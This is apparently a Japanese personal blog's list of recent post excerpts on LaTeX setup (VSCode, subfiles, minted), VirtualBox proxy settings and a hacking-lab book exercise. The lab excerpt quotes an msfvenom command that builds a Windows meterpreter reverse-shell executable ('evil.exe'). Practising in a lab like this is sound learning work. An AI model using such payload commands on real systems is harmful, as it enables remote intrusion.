たっふぃ

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最近の記事

VSCodeでLaTeX環境構築

これまでLaTeXで文章を書くときはTeXLive標準のTeXWorksを使っていましたが、いろいろな人が書かれているのと同じくエディタがしょぼいと感じるようになってきたのでVSCodeに環境を移します。ついでにlatexmkを使うようにしました。また前出の記事と同じくsubfilesを使えるようにします。 下準備TeXLive、VSCode、LaTeX Workshopを導入。 これらについてはたくさん記事が出ています(一番下に参考ページを載せています)ので、すでに入って

    • [ハッキング・ラボ]Kaliのrootユーザー廃止対応(msfvenom)

      ちょっとしたことですがメモとして残します。 この本の4-1 Windows7のハッキングの中で、msfvenomコマンドでペイロードを作る、というのがあります。 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.2 -f exe -o /root/Desktop/evil.exe これを実行すると以下のようになるのですが(最後の行に注目) [-] No platform was selected, cho

      • VirtualBoxのプロキシ設定

        ハッキング・ラボのつくりかたという本がLinuxの勉強にちょうど良さそうで本の内容を順に試しはじめました。 はじめに環境構築から始まりますがいきなりつまづきます。。。 VirtualBox上にKali Linuxの仮想環境を構築するのですがネットワークが繋がりません。自分の場合、apt updateが通らず(Something wicked happened resolvingとかFailed to fetchとか怒られる)先に進めなくなりました。直感でプロキシ関係だろうと

        • [LaTeX]subfilesでマクロを書くときの注意点

          長文の報告書を作成するときにsubfilesパッケージを使っています。先日TeXLiveをアップデート(2018-->2021)したところ、メインファイル側のコンパイル時に自作マクロを使用するところでundefined control sequenceエラーが出るようになりました。サブファイル単体ではコンパイルは通ります。自力で調べたところ、マクロをサブファイルのプリアンブル(\bigin{document}の前)に書いていたのが原因でした。 公式ドキュメントによると、

        VSCodeでLaTeX環境構築

          LaTeXでmintedを使えるようにするためのTeXworks設定補足説明

          これまで(up)LaTeXでコードを載せるのにlisting/jvlistingを使っていましたが、あまり美しくないので良い設定方法がないかと探していたところmintedというパッケージがあることを知りました。Pygmentsというシンタックスハイライターを使っているところがポイントのようです。 公式ドキュメント 導入には次の記事が参考になると思います。参考1、参考2 上記のリンク先にあるように設定にはいくつかのステップがあるのですが、AnacondaとTeX Live

          LaTeXでmintedを使えるようにするためのTeXworks設定補足説明